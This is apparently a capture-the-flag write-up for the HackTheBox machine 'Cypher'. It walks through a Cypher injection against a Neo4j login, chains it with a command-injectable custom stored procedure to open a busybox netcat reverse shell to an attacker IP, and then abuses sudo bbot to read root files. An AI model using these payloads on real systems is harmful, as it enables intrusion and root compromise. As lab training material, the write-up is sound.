Overview
Cypher is a Linux machine on HackTheBox rated Medium. The attack path chains a Cypher Injection vulnerability in a Neo4j-backed web application with a command injection vector hidden inside a custom Java stored procedure. Privilege escalation abuses bbot — a YARA-based scanning tool — running with unrestricted sudo permissions.
| Property | Value |
|---|---|
| OS | Linux (Ubuntu) |
| IP | 10.10.11.57 |
| Difficulty | Medium |
| Key Techniques | Cypher Injection, JAR Decompilation, Reverse Shell, Sudo Abuse |
Enumeration
Port Scan
An nmap scan reveals two open services:
nmap -sC -sV 10.10.11.57
| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 9.6p1 (Ubuntu) |
| 80/tcp | HTTP | nginx 1.24.0 — redirects to http://cypher.htb/ |
After adding cypher.htb to /etc/hosts, we can explore the web application.
Directory Brute-Force
Running gobuster reveals several interesting paths:
gobuster dir -u http://cypher.htb -w /usr/share/wordlists/dirb/common.txt
Key results:
| Path | Note |
|---|---|
/login |
Authentication page |
/api |
Redirects to /api/docs |
/testing |
Open directory listing |
The /testing directory exposes a downloadable file: custom-apoc-extension-1.0-SNAPSHOT.jar — a custom Neo4j APOC extension.
Foothold
JAR Decompilation
Decompiling the JAR with cfr reveals the source of the custom stored procedure:
java -jar cfr-0.152.jar custom-apoc-extension-1.0-SNAPSHOT.jar --outputdir java_cypher
Inside CustomFunctions.java, the method getUrlStatusCode catches the eye:
@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
// ...
Object[] command = new String[]{"/bin/sh", "-c",
"curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
Process process = Runtime.getRuntime().exec((String[]) command);
// ...
}
The url parameter is concatenated directly into a shell command — a textbook command injection vector.
Identifying the Cypher Injection
The login page (/login) communicates with a Neo4j graph database. Entering a malformed username triggers a Neo4jError: CypherSyntaxError, confirming the backend is vulnerable to Cypher Injection — similar to SQL injection, but targeting Neo4j's Cypher query language.
Crafting the Exploit
The attack chains the Cypher Injection with the vulnerable stored procedure. The payload injected into the username field:
a' return h.value as a UNION CALL custom.getUrlStatusCode("http://10.10.11.57:80;busybox nc 10.10.x.x 4444 -e sh;#") YIELD statusCode AS a RETURN a;//
This payload:
- Breaks out of the original Cypher query with
a' return h.value as a - Calls the vulnerable
custom.getUrlStatusCodeprocedure viaUNION CALL - Injects a reverse shell command using
busybox nc - Comments out the rest of the query with
//
Sending this as a POST request to /api/auth (e.g., via Burp Suite) with the payload JSON-escaped:
POST /api/auth HTTP/1.1
Host: cypher.htb
Content-Type: application/json
{"username":"a' return h.value as a UNION CALL custom.getUrlStatusCode(\"http://10.10.11.57:80;busybox nc 10.10.x.x 4444 -e sh;#\") YIELD statusCode AS a RETURN a;//","password":"a"}
A netcat listener on port 4444 catches the reverse shell.
User Flag
Once inside the machine as the graphasm user, credentials are found in /home/graphasm/bbot_preset.yml, granting SSH access for a stable shell.
graphasm@cypher:~$ cat user.txt
77fec28a5892023ffbc28486c624bf58
Privilege Escalation
Sudo Enumeration
Checking sudo permissions reveals an interesting entry:
graphasm@cypher:~$ sudo -l
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
Abusing bbot
bbot is a scanning tool that supports custom YARA rules for file scanning and pattern matching. Since it runs as root with no password required, we can use it to read arbitrary files by crafting a YARA rule that matches the target file's content.
sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run
The -cy flag loads a custom YARA rule from the specified path. Using -d enables debug output, which prints the file contents as part of the YARA rule parsing. The --dry-run flag prevents actual execution.
Alternatively:
sudo bbot -t /root/root.txt
The debug output leaks the root flag:
[DBUG] internal.excavate: Successfully loaded custom yara rules file [/root/root.txt]
[DBUG] internal.excavate: Final combined yara rule contents: d8c04f80bc4b375f23e68c308cee71d5
Attack Summary

Key Takeaways
- Cypher Injection is a real-world attack surface whenever Neo4j is used with unsanitized user input — it follows the same principles as SQL injection.
- Custom stored procedures in Neo4j (APOC extensions) can introduce dangerous capabilities like
Runtime.exec(). Always audit third-party extensions. - Sudo misconfigurations on tools with file-reading capabilities (like bbot's YARA rule loading) can be trivially escalated to root.
- Open directory listings in web servers remain a common misconfiguration that leaks sensitive artifacts.